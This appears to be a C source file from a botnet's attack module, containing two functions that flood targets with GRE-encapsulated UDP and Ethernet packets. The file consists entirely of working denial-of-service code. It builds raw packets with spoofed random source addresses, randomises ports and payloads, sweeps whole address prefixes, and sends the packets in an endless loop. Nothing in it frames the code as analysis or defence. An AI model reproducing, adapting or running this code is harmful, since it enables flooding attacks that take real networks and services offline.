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6d5a3e2 Oct 2, 2016
319 lines (276 sloc) 11 KB
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/ip.h>
#include <linux/if_ether.h>
#include <errno.h>
#include "includes.h"
#include "attack.h"
#include "protocol.h"
#include "util.h"
#include "checksum.h"
#include "rand.h"
void attack_gre_ip(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("Failed to create raw socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct grehdr *greh;
struct iphdr *greiph;
struct udphdr *udph;
pkts[i] = calloc(1510, sizeof (char *));
iph = (struct iphdr *)(pkts[i]);
greh = (struct grehdr *)(iph + 1);
greiph = (struct iphdr *)(greh + 1);
udph = (struct udphdr *)(greiph + 1);
// IP header init
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_GRE;
iph->saddr = source_ip;
iph->daddr = targs[i].addr;
// GRE header init
greh->protocol = htons(ETH_P_IP); // Protocol is 2 bytes
// Encapsulated IP header init
greiph->version = 4;
greiph->ihl = 5;
greiph->tos = ip_tos;
greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
greiph->id = htons(~ip_ident);
greiph->ttl = ip_ttl;
if (dont_frag)
greiph->frag_off = htons(1 << 14);
greiph->protocol = IPPROTO_UDP;
greiph->saddr = rand_next();
if (gcip)
greiph->daddr = iph->daddr;
else
greiph->daddr = ~(greiph->saddr - 1024);
// UDP header init
udph->source = htons(sport);
udph->dest = htons(dport);
udph->len = htons(sizeof (struct udphdr) + data_len);
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct grehdr *greh = (struct grehdr *)(iph + 1);
struct iphdr *greiph = (struct iphdr *)(greh + 1);
struct udphdr *udph = (struct udphdr *)(greiph + 1);
char *data = (char *)(udph + 1);
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (source_ip == 0xffffffff)
iph->saddr = rand_next();
if (ip_ident == 0xffff)
{
iph->id = rand_next() & 0xffff;
greiph->id = ~(iph->id - 1000);
}
if (sport == 0xffff)
udph->source = rand_next() & 0xffff;
if (dport == 0xffff)
udph->dest = rand_next() & 0xffff;
if (!gcip)
greiph->daddr = rand_next();
else
greiph->daddr = iph->daddr;
if (data_rand)
rand_str(data, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
greiph->check = 0;
greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));
udph->check = 0;
udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);
targs[i].sock_addr.sin_family = AF_INET;
targs[i].sock_addr.sin_addr.s_addr = iph->daddr;
targs[i].sock_addr.sin_port = 0;
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
if (errno != 0)
printf("errno = %d\n", errno);
break;
#endif
}
}
void attack_gre_eth(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int i, fd;
char **pkts = calloc(targs_len, sizeof (char *));
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE);
uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("Failed to create raw socket. Aborting attack\n");
#endif
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
#ifdef DEBUG
printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct grehdr *greh;
struct ethhdr *ethh;
struct iphdr *greiph;
struct udphdr *udph;
uint32_t ent1, ent2, ent3;
pkts[i] = calloc(1510, sizeof (char *));
iph = (struct iphdr *)(pkts[i]);
greh = (struct grehdr *)(iph + 1);
ethh = (struct ethhdr *)(greh + 1);
greiph = (struct iphdr *)(ethh + 1);
udph = (struct udphdr *)(greiph + 1);
// IP header init
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_GRE;
iph->saddr = source_ip;
iph->daddr = targs[i].addr;
// GRE header init
greh->protocol = htons(PROTO_GRE_TRANS_ETH); // Protocol is 2 bytes
// Ethernet header init
ethh->h_proto = htons(ETH_P_IP);
// Encapsulated IP header init
greiph->version = 4;
greiph->ihl = 5;
greiph->tos = ip_tos;
greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len);
greiph->id = htons(~ip_ident);
greiph->ttl = ip_ttl;
if (dont_frag)
greiph->frag_off = htons(1 << 14);
greiph->protocol = IPPROTO_UDP;
greiph->saddr = rand_next();
if (gcip)
greiph->daddr = iph->daddr;
else
greiph->daddr = ~(greiph->saddr - 1024);
// UDP header init
udph->source = htons(sport);
udph->dest = htons(dport);
udph->len = htons(sizeof (struct udphdr) + data_len);
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct grehdr *greh = (struct grehdr *)(iph + 1);
struct ethhdr *ethh = (struct ethhdr *)(greh + 1);
struct iphdr *greiph = (struct iphdr *)(ethh + 1);
struct udphdr *udph = (struct udphdr *)(greiph + 1);
char *data = (char *)(udph + 1);
uint32_t ent1, ent2, ent3;
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (source_ip == 0xffffffff)
iph->saddr = rand_next();
if (ip_ident == 0xffff)
{
iph->id = rand_next() & 0xffff;
greiph->id = ~(iph->id - 1000);
}
if (sport == 0xffff)
udph->source = rand_next() & 0xffff;
if (dport == 0xffff)
udph->dest = rand_next() & 0xffff;
if (!gcip)
greiph->daddr = rand_next();
else
greiph->daddr = iph->daddr;
ent1 = rand_next();
ent2 = rand_next();
ent3 = rand_next();
util_memcpy(ethh->h_dest, (char *)&ent1, 4);
util_memcpy(ethh->h_source, (char *)&ent2, 4);
util_memcpy(ethh->h_dest + 4, (char *)&ent3, 2);
util_memcpy(ethh->h_source + 4, (((char *)&ent3)) + 2, 2);
if (data_rand)
rand_str(data, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
greiph->check = 0;
greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr));
udph->check = 0;
udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len);
targs[i].sock_addr.sin_family = AF_INET;
targs[i].sock_addr.sin_addr.s_addr = iph->daddr;
targs[i].sock_addr.sin_port = 0;
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
#ifdef DEBUG
if (errno != 0)
printf("errno = %d\n", errno);
break;
#endif
}
}